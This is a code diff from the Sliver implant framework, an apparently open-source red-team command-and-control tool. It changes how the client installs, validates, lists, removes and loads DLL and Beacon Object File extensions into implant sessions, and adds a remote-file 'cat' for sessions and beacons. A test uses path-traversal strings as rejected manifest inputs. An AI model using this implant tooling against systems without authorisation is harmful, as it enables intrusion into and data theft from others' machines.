+	data, _ := json.Marshal(missingName)
+	_, err = ParseExtensionManifest(data)
+	if err == nil {
+		t.Fatalf("Expected missing name error, got none")
+	}
+
+	missingCmdName := (*sample3)
+	missingCmdName.CommandName = ""
+	data, _ = json.Marshal(missingCmdName)
+	_, err = ParseExtensionManifest(data)
+	if err == nil {
+		t.Fatalf("Expected missing command name error, got none")
+	}
+
+	missingHelp := (*sample3)
+	missingHelp.Help = ""
+	data, _ = json.Marshal(missingHelp)
+	_, err = ParseExtensionManifest(data)
+	if err == nil {
+		t.Fatalf("Expected missing help error, got none")
+	}
+
+	missingFiles := (*sample3)
+	missingFiles.Files = []*extensionFile{}
+	data, _ = json.Marshal(missingFiles)
+	_, err = ParseExtensionManifest(data)
+	if err == nil {
+		t.Fatalf("Expected missing files error, got none")
+	}
+
+	missingFileOS := (*sample3)
+	missingFileOS.Files = []*extensionFile{
+		{
+			OS:   "",
+			Arch: "amd64",
+			Path: "foo/test1.dll",
+		},
+	}
+	data, _ = json.Marshal(missingFileOS)
+	_, err = ParseExtensionManifest(data)
+	if err == nil {
+		t.Fatalf("Expected missing files.os error, got none")
+	}
+
+	missingFileArch := (*sample3)
+	missingFileArch.Files = []*extensionFile{
+		{
+			OS:   "windows",
+			Arch: "",
+			Path: "foo/test1.dll",
+		},
+	}
+	data, _ = json.Marshal(missingFileArch)
+	_, err = ParseExtensionManifest(data)
+	if err == nil {
+		t.Fatalf("Expected missing files.arch error, got none")
+	}
+
+	missingFilePath := (*sample3)
+	missingFilePath.Files = []*extensionFile{
+		{
+			OS:   "windows",
+			Arch: "amd64",
+			Path: "",
+		},
+	}
+	data, _ = json.Marshal(missingFilePath)
+	_, err = ParseExtensionManifest(data)
+	if err == nil {
+		t.Fatalf("Expected missing files.path error, got none")
+	}
+
+	invalidPaths := []string{
+		"../../../../../",
+		"/../../../../..",
+		".",
+		"/",
+	}
+	for _, invalidPath := range invalidPaths {
+		missingFilePath2 := (*sample3)
+		missingFilePath2.Files = []*extensionFile{
+			{
+				OS:   "windows",
+				Arch: "amd64",
+				Path: invalidPath,
+			},
+		}
+		data, _ = json.Marshal(missingFilePath2)
+		_, err = ParseExtensionManifest(data)
+		if err == nil {
+			t.Fatalf("Expected missing files.path error, got none")
+		}
+	}
+
+}

client/command/extensions/install.go

@@ -0,0 +1,168 @@
+package extensions
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"fmt"
+	"io/ioutil"
+	"os"
+	"path/filepath"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/util"
+	"github.com/desertbit/grumble"
+)
+
+// ExtensionsInstallCmd - Install an extension
+func ExtensionsInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	extLocalPath := ctx.Args.String("path")
+	fi, err := os.Stat(extLocalPath)
+	if os.IsNotExist(err) {
+		con.PrintErrorf("Extension path '%s' does not exist", extLocalPath)
+		return
+	}
+	if !fi.IsDir() {
+		InstallFromFilePath(extLocalPath, false, con)
+	} else {
+		installFromDir(extLocalPath, con)
+	}
+}
+
+// Install an extension from a directory
+func installFromDir(extLocalPath string, con *console.SliverConsoleClient) {
+	manifestData, err := ioutil.ReadFile(filepath.Join(extLocalPath, ManifestFileName))
+	if err != nil {
+		con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
+		return
+	}
+	manifest, err := ParseExtensionManifest(manifestData)
+	if err != nil {
+		con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
+		return
+	}
+	installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
+	if _, err := os.Stat(installPath); !os.IsNotExist(err) {
+		con.PrintInfof("Extension '%s' already exists", manifest.CommandName)
+		confirm := false
+		prompt := &survey.Confirm{Message: "Overwrite current install?"}
+		survey.AskOne(prompt, &confirm)
+		if !confirm {
+			return
+		}
+		forceRemoveAll(installPath)
+	}
+
+	con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
+	err = os.MkdirAll(installPath, 0o700)
+	if err != nil {
+		con.PrintErrorf("\nError creating extension directory: %s\n", err)
+		return
+	}
+	err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
+	if err != nil {
+		con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
+		forceRemoveAll(installPath)
+		return
+	}
+
+	for _, manifestFile := range manifest.Files {
+		if manifestFile.Path != "" {
+			src := filepath.Join(extLocalPath, util.ResolvePath(manifestFile.Path))
+			dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path))
+			err := util.CopyFile(src, dst)
+			if err != nil {
+				con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
+				forceRemoveAll(installPath)
+				return
+			}
+		}
+	}
+
+}
+
+// Install an extension from a .tar.gz file
+func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
+	manifestData, err := util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName))
+	if err != nil {
+		con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, extLocalPath, err)
+		return nil
+	}
+	manifest, err := ParseExtensionManifest(manifestData)
+	if err != nil {
+		con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
+		return nil
+	}
+	installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
+	if _, err := os.Stat(installPath); !os.IsNotExist(err) {
+		if !autoOverwrite {
+			con.PrintInfof("Extension '%s' already exists\n", manifest.CommandName)
+			confirm := false
+			prompt := &survey.Confirm{Message: "Overwrite current install?"}
+			survey.AskOne(prompt, &confirm)
+			if !confirm {
+				return nil
+			}
+		}
+		forceRemoveAll(installPath)
+	}
+
+	con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
+	err = os.MkdirAll(installPath, 0o700)
+	if err != nil {
+		con.PrintErrorf("\nFailed to create extension directory: %s\n", err)
+		return nil
+	}
+	err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
+	if err != nil {
+		con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
+		forceRemoveAll(installPath)
+		return nil
+	}
+	for _, manifestFile := range manifest.Files {
+		if manifestFile.Path != "" {
+			err = installArtifact(extLocalPath, installPath, manifestFile.Path, con)
+			if err != nil {
+				con.PrintErrorf("\nFailed to install file: %s\n", err)
+				forceRemoveAll(installPath)
+				return nil
+			}
+		}
+	}
+	con.Printf("done!\n")
+	return &installPath
+}
+
+func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverConsoleClient) error {
+	data, err := util.ReadFileFromTarGz(extGzFilePath, artifactPath)
+	if err != nil {
+		return err
+	}
+	localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
+	artifactDir := filepath.Dir(localArtifactPath)
+	if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
+		os.MkdirAll(artifactDir, 0o700)
+	}
+	err = ioutil.WriteFile(localArtifactPath, data, 0o600)
+	if err != nil {
+		return err
+	}
+	return nil
+}

client/command/extensions/list.go

@@ -0,0 +1,54 @@
+package extensions
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+)
+
+// ExtensionsListCmd - List all extension loaded on the active session/beacon
+func ExtensionsListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	if extList.Response != nil && extList.Response.Err != "" {
+		con.PrintErrorf("%s\n", extList.Response.Err)
+		return
+	}
+	if len(extList.Names) > 0 {
+		con.PrintInfof("Loaded extensions:\n")
+		for _, ext := range extList.Names {
+			con.Printf("- %s\n", ext)
+		}
+	}
+}

client/command/extensions/load.go

@@ -1,9 +1,26 @@
 package extensions
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"bytes"
 	"context"
-	"encoding/binary"
 	"encoding/json"
 	"errors"
 	"fmt"
@@ -13,39 +30,45 @@ import (
 	"path/filepath"
 	"strings"
 
-	"golang.org/x/text/encoding/unicode"
-
+	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/client/core"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/util"
 	"github.com/desertbit/grumble"
 )
 
 const (
 	defaultTimeout = 60
+
+	ManifestFileName = "extension.json"
 )
 
-var commandMap map[string]extensionCommand
+var loadedExtensions = map[string]*ExtensionManifest{}
 
-type extensionCommand struct {
-	Name       string              `json:"name"`
-	Help       string              `json:"help"`
-	Files      []extensionFiles    `json:"extFiles"`
-	Arguments  []extensionArgument `json:"arguments"`
-	Entrypoint string              `json:"entrypoint"`
-	DependsOn  string              `json:"dependsOn"`
-	Init       string              `json:"init"`
-	Path       string
-}
-type binFiles struct {
-	Ext64Path string `json:"x64"`
-	Ext32Path string `json:"x86"`
+type ExtensionManifest struct {
+	Name            string               `json:"name"`
+	CommandName     string               `json:"command_name"`
+	Version         string               `json:"version"`
+	ExtensionAuthor string               `json:"extension_author"`
+	OriginalAuthor  string               `json:"original_author"`
+	RepoURL         string               `json:"repo_url"`
+	Help            string               `json:"help"`
+	Files           []*extensionFile     `json:"files"`
+	Arguments       []*extensionArgument `json:"arguments"`
+	Entrypoint      string               `json:"entrypoint"`
+	DependsOn       string               `json:"depends_on"`
+	Init            string               `json:"init"`
+
+	RootPath string `json:"-"`
 }
 
-type extensionFiles struct {
-	OS    string   `json:"os"`
-	Files binFiles `json:"files"`
+type extensionFile struct {
+	OS   string `json:"os"`
+	Arch string `json:"arch"`
+	Path string `json:"path"`
 }
 
 type extensionArgument struct {
@@ -55,67 +78,98 @@ type extensionArgument struct {
 	Optional bool   `json:"optional"`
 }
 
-func (e *extensionCommand) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
-	for _, ef := range e.Files {
-		if targetOS == ef.OS {
-			switch targetArch {
-			case "x86":
-				filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext32Path)
-			case "x64":
-				filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
-			default:
-				filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
-			}
+func (e *ExtensionManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
+	filePath := ""
+	for _, extFile := range e.Files {
+		if targetOS == extFile.OS && targetArch == extFile.Arch {
+			filePath = path.Join(assets.GetExtensionsDir(), cmdName, extFile.Path)
+			break
 		}
 	}
 	if filePath == "" {
-		err = fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
+		err := fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
+		return "", err
 	}
-	return
+	if _, err := os.Stat(filePath); os.IsNotExist(err) {
+		err = fmt.Errorf("extension file not found: %s", filePath)
+		return "", err
+	}
+	return filePath, nil
 }
 
-func LoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+// ExtensionLoadCmd - Load extension command
+func ExtensionLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	dirPath := ctx.Args.String("dir-path")
-	extCmds, err := ParseExtensions(dirPath)
+	extCmd, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
 	if err != nil {
-		con.PrintErrorf("Error: %s\n", err)
 		return
 	}
+	// do not add if the command already exists
+	if CmdExists(extCmd.Name, con.App) {
+		con.PrintErrorf("%s command already exists\n", extCmd.Name)
+		return
+	}
+	ExtensionRegisterCommand(extCmd, con)
+	con.PrintInfof("Added %s command: %s\n", extCmd.Name, extCmd.Help)
+}
 
-	for _, extCmd := range extCmds {
-		// do not add if the command already exists
-		if cmdExists(extCmd.Name, con.App) {
-			con.PrintErrorf("%s command already exists\n", extCmd.Name)
-			continue
+// ParseExtensions - Parse extension files
+func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
+	data, err := ioutil.ReadFile(manifestPath)
+	if err != nil {
+		return nil, err
+	}
+	extManifest, err := ParseExtensionManifest(data)
+	if err != nil {
+		return nil, err
+	}
+	extManifest.RootPath = filepath.Dir(manifestPath)
+	loadedExtensions[extManifest.CommandName] = extManifest
+	return extManifest, nil
+}
+
+// ParseExtensionManifest - Parse extension manifest from buffer
+func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) {
+	extManifest := &ExtensionManifest{}
+	err := json.Unmarshal(data, &extManifest)
+	if err != nil {
+		return nil, err
+	}
+	if extManifest.Name == "" {
+		return nil, errors.New("missing `name` field in extension manifest")
+	}
+	if extManifest.CommandName == "" {
+		return nil, errors.New("missing `command_name` field in extension manifest")
+	}
+	if len(extManifest.Files) == 0 {
+		return nil, errors.New("missing `files` field in extension manifest")
+	}
+	for _, extFiles := range extManifest.Files {
+		if extFiles.OS == "" {
+			return nil, errors.New("missing `files.os` field in extension manifest")
 		}
-		RegisterExtensionCommand(extCmd, con)
-		con.PrintInfof("Added %s command: %s\n", extCmd.Name, extCmd.Help)
+		if extFiles.Arch == "" {
+			return nil, errors.New("missing `files.arch` field in extension manifest")
+		}
+		extFiles.Path = util.ResolvePath(extFiles.Path)
+		if extFiles.Path == "" || extFiles.Path == "/" {
+			return nil, errors.New("missing `files.path` field in extension manifest")
+		}
+		extFiles.OS = strings.ToLower(extFiles.OS)
+		extFiles.Arch = strings.ToLower(extFiles.Arch)
 	}
+	if extManifest.Help == "" {
+		return nil, errors.New("missing `help` field in extension manifest")
+	}
+	return extManifest, nil
 }
 
-func ParseExtensions(extPath string) ([]*extensionCommand, error) {
-	manifestPath := filepath.Join(extPath, "manifest.json")
-	jsonBytes, err := ioutil.ReadFile(manifestPath)
-	if err != nil {
-		return nil, err
-	}
-	extensionsCmds := make([]*extensionCommand, 0)
-	err = json.Unmarshal(jsonBytes, &extensionsCmds)
-	if err != nil {
-		return nil, err
-	}
-	for _, extCmd := range extensionsCmds {
-		extCmd.Path = extPath
-		commandMap[extCmd.Name] = *extCmd
-	}
-	return extensionsCmds, nil
-}
-
-func RegisterExtensionCommand(extCmd *extensionCommand, con *console.SliverConsoleClient) {
-	commandMap[extCmd.Name] = *extCmd
+// ExtensionRegisterCommand - Register a new extension command
+func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverConsoleClient) {
+	loadedExtensions[extCmd.CommandName] = extCmd
 	helpMsg := extCmd.Help
 	extensionCmd := &grumble.Command{
-		Name: extCmd.Name,
+		Name: extCmd.CommandName,
 		Help: helpMsg,
 		Run: func(extCtx *grumble.Context) error {
 			con.Println()
@@ -158,33 +212,7 @@ func RegisterExtensionCommand(extCmd *extensionCommand, con *console.SliverConso
 	con.App.AddCommand(extensionCmd)
 }
 
-func ListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
-	if session == nil {
-		return
-	}
-
-	extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
-		Request: con.ActiveSession.Request(ctx),
-	})
-	if err != nil {
-		con.PrintErrorf("Error: %s", err)
-		return
-	}
-
-	if extList.Response != nil && extList.Response.Err != "" {
-		con.PrintErrorf("Error: %s", extList.Response.Err)
-		return
-	}
-	if len(extList.Names) > 0 {
-		con.PrintInfof("Loaded extensions:\n")
-		for _, ext := range extList.Names {
-			con.Printf("- %s\n", ext)
-		}
-	}
-}
-
-func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *extensionCommand) error {
+func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *ExtensionManifest) error {
 	var extensionList []string
 	binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
 	if err != nil {
@@ -193,10 +221,10 @@ func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console
 	// Try to find the extension in the loaded extensions
 	if len(session.Extensions) == 0 {
 		extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
-			Request: con.ActiveSession.Request(ctx),
+			Request: con.ActiveTarget.Request(ctx),
 		})
 		if err != nil {
-			con.PrintErrorf("Error: %s\n", err.Error())
+			con.PrintErrorf("%s\n", err.Error())
 			return err
 		}
 		if extList.Response != nil && extList.Response.Err != "" {
@@ -243,20 +271,20 @@ func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console
 			SessionID:  session.ID,
 		})
 		if err != nil {
-			con.PrintErrorf("Error: %s\n", err.Error())
+			con.PrintErrorf("%s\n", err.Error())
 			return err
 		}
 	}
 	return nil
 }
 
-func registerExtension(con *console.SliverConsoleClient, ext *extensionCommand, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
+func registerExtension(con *console.SliverConsoleClient, ext *ExtensionManifest, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
 	registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
 		Name:    ext.Name,
 		Data:    binData,
 		OS:      session.OS,
 		Init:    ext.Init,
-		Request: con.ActiveSession.Request(ctx),
+		Request: con.ActiveTarget.Request(ctx),
 	})
 	if err != nil {
 		return err
@@ -268,7 +296,7 @@ func registerExtension(con *console.SliverConsoleClient, ext *extensionCommand,
 }
 
 func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *grumble.Context, depName string) error {
-	depExt, f := commandMap[depName]
+	depExt, f := loadedExtensions[depName]
 	if f {
 		depBinPath, err := depExt.getFileForTarget(depExt.Name, session.OS, session.Arch)
 		if err != nil {
@@ -278,7 +306,7 @@ func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *g
 		if err != nil {
 			return err
 		}
-		return registerExtension(con, &depExt, depBinData, session, ctx)
+		return registerExtension(con, depExt, depBinData, session, ctx)
 	}
 	return fmt.Errorf("missing dependency %s", depName)
 }
@@ -291,19 +319,19 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		extName       string
 		entryPoint    string
 	)
-	session := con.ActiveSession.GetInteractive()
+	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}
 
-	ext, ok := commandMap[ctx.Command.Name]
+	ext, ok := loadedExtensions[ctx.Command.Name]
 	if !ok {
 		con.PrintErrorf("No extension command found for `%s` command\n", ctx.Command.Name)
 		return
 	}
 
-	if err = loadExtension(ctx, session, con, &ext); err != nil {
-		con.PrintErrorf("Error: %s\n", err)
+	if err = loadExtension(ctx, session, con, ext); err != nil {
+		con.PrintErrorf("Could not load extension: %s\n", err)
 		return
 	}
 
@@ -325,7 +353,7 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	isBOF := filepath.Ext(binPath) == ".o"
 
 	// BOFs (Beacon Object Files) are a specific kind of extensions
-	// than require another extension (a COFF loader) to be present.
+	// that require another extension (a COFF loader) to be present.
 	// BOFs also have strongly typed arguments that need to be parsed in the proper way.
 	// This block will pack both the BOF data and its arguments into a single buffer that
 	// the loader will extract and load.
@@ -337,7 +365,7 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			return
 		}
 		extName = ext.DependsOn
-		entryPoint = commandMap[extName].Entrypoint // should exist at this point
+		entryPoint = loadedExtensions[extName].Entrypoint // should exist at this point
 	} else {
 		// Regular DLL
 		extArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
@@ -352,16 +380,16 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		Name:    extName,
 		Export:  entryPoint,
 		Args:    extensionArgs,
-		Request: con.ActiveSession.Request(ctx),
+		Request: con.ActiveTarget.Request(ctx),
 	})
 	ctrl <- true
 	<-ctrl
 	if err != nil {
-		con.PrintErrorf("Error: %s\n", err.Error())
+		con.PrintErrorf("%s\n", err.Error())
 		return
 	}
 	if callExtension.Response != nil && callExtension.Response.Err != "" {
-		con.PrintErrorf("Error: %s\n", callExtension.Response.Err)
+		con.PrintErrorf("%s\n", callExtension.Response.Err)
 		return
 	}
 	con.PrintInfof("Successfully executed %s\n", extName)
@@ -374,13 +402,13 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 }
 
-func getBOFArgs(ctx *grumble.Context, binPath string, ext extensionCommand) ([]byte, error) {
+func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([]byte, error) {
 	var extensionArgs []byte
 	binData, err := ioutil.ReadFile(binPath)
 	if err != nil {
 		return nil, err
 	}
-	argsBuffer := BOFArgsBuffer{
+	argsBuffer := core.BOFArgsBuffer{
 		Buffer: new(bytes.Buffer),
 	}
 	// Parse BOF arguments from grumble
@@ -429,7 +457,7 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext extensionCommand) ([]b
 		return nil, err
 	}
 	// Now build the extension's argument buffer
-	extensionArgsBuffer := BOFArgsBuffer{
+	extensionArgsBuffer := core.BOFArgsBuffer{
 		Buffer: new(bytes.Buffer),
 	}
 	err = extensionArgsBuffer.AddString(ext.Entrypoint)
@@ -452,7 +480,8 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext extensionCommand) ([]b
 
 }
 
-func cmdExists(name string, app *grumble.App) bool {
+// CmdExists - checks if a command exists
+func CmdExists(name string, app *grumble.App) bool {
 	for _, c := range app.Commands().All() {
 		if name == c.Name {
 			return true
@@ -460,68 +489,3 @@ func cmdExists(name string, app *grumble.App) bool {
 	}
 	return false
 }
-
-func init() {
-	commandMap = make(map[string]extensionCommand)
-}
-
-// BOF Specific code
-
-type BOFArgsBuffer struct {
-	Buffer *bytes.Buffer
-}
-
-func (b *BOFArgsBuffer) AddData(d []byte) error {
-	dataLen := uint32(len(d))
-	err := binary.Write(b.Buffer, binary.LittleEndian, &dataLen)
-	if err != nil {
-		return err
-	}
-	return binary.Write(b.Buffer, binary.LittleEndian, &d)
-}
-
-func (b *BOFArgsBuffer) AddShort(d uint16) error {
-	return binary.Write(b.Buffer, binary.LittleEndian, &d)
-}
-
-func (b *BOFArgsBuffer) AddInt(d uint32) error {
-	return binary.Write(b.Buffer, binary.LittleEndian, &d)
-}
-
-func (b *BOFArgsBuffer) AddString(d string) error {
-	stringLen := uint32(len(d)) + 1
-	err := binary.Write(b.Buffer, binary.LittleEndian, &stringLen)
-	if err != nil {
-		return err
-	}
-	dBytes := append([]byte(d), 0x00)
-	return binary.Write(b.Buffer, binary.LittleEndian, dBytes)
-}
-
-func (b *BOFArgsBuffer) AddWString(d string) error {
-	encoder := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder()
-	strBytes := append([]byte(d), 0x00)
-	utf16Data, err := encoder.Bytes(strBytes)
-	if err != nil {
-		return err
-	}
-	stringLen := uint32(len(utf16Data))
-	err = binary.Write(b.Buffer, binary.LittleEndian, &stringLen)
-	if err != nil {
-		return err
-	}
-	return binary.Write(b.Buffer, binary.LittleEndian, utf16Data)
-}
-
-func (b *BOFArgsBuffer) GetBuffer() ([]byte, error) {
-	outBuffer := new(bytes.Buffer)
-	err := binary.Write(outBuffer, binary.LittleEndian, uint32(b.Buffer.Len()))
-	if err != nil {
-		return nil, err
-	}
-	err = binary.Write(outBuffer, binary.LittleEndian, b.Buffer.Bytes())
-	if err != nil {
-		return nil, err
-	}
-	return outBuffer.Bytes(), nil
-}

client/command/extensions/remove.go

@@ -0,0 +1,77 @@
+package extensions
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"errors"
+	"fmt"
+	"os"
+	"path/filepath"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/util"
+	"github.com/desertbit/grumble"
+)
+
+// ExtensionsRemoveCmd - Remove an extension
+func ExtensionsRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	name := ctx.Args.String("name")
+	if name == "" {
+		con.PrintErrorf("Extension name is required\n")
+		return
+	}
+	confirm := false
+	prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' extension?", name)}
+	survey.AskOne(prompt, &confirm)
+	if !confirm {
+		return
+	}
+	err := RemoveExtensionByCommandName(name, con)
+	if err != nil {
+		con.PrintErrorf("Error removing extension: %s\n", err)
+		return
+	} else {
+		con.PrintInfof("Extension '%s' removed\n", name)
+	}
+}
+
+// RemoveExtensionByCommandName - Remove an extension by command name
+func RemoveExtensionByCommandName(commandName string, con *console.SliverConsoleClient) error {
+	if commandName == "" {
+		return errors.New("command name is required")
+	}
+	if _, ok := loadedExtensions[commandName]; !ok {
+		return errors.New("extension not loaded")
+	}
+	delete(loadedExtensions, commandName)
+	con.App.Commands().Remove(commandName)
+	extPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(commandName))
+	if _, err := os.Stat(extPath); os.IsNotExist(err) {
+		return nil
+	}
+	forceRemoveAll(extPath)
+	return nil
+}
+
+func forceRemoveAll(rootPath string) {
+	util.ChmodR(rootPath, 0o600, 0o700)
+	os.RemoveAll(rootPath)
+}

client/command/filesystem/cat.go

@@ -28,16 +28,18 @@ import (
 	"github.com/alecthomas/chroma/lexers"
 	"github.com/alecthomas/chroma/styles"
 	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/bishopfox/sliver/util/encoders"
+	"google.golang.org/protobuf/proto"
 
 	"github.com/desertbit/grumble"
 )
 
 // CatCmd - Display the contents of a remote file
 func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
 
@@ -48,13 +50,35 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 
 	download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
-		Request: con.ActiveSession.Request(ctx),
+		Request: con.ActiveTarget.Request(ctx),
 		Path:    filePath,
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
+	if download.Response != nil && download.Response.Async {
+		con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, download)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintCat(download, ctx, con)
+		})
+		con.PrintAsyncResponse(download.Response)
+	} else {
+		PrintCat(download, ctx, con)
+	}
+}
+
+// PrintCat - Print the download to stdout
+func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
+	var err error
+	if download.Response != nil && download.Response.Err != "" {
+		con.PrintErrorf("%s\n", download.Response.Err)
+		return
+	}
 	if download.Encoder == "gzip" {
 		download.Data, err = new(encoders.Gzip).Decode(download.Data)
 		if err != nil {
@@ -73,14 +97,6 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			con.Println(string(download.Data))
 		}
 	}
-	// if ctx.Flags.Bool("loot") && 0 < len(download.Data) {
